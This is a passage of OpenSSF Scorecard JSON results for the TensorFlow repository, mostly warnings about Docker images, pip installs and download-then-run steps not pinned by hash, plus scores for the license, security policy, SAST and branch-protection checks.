tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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.github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: 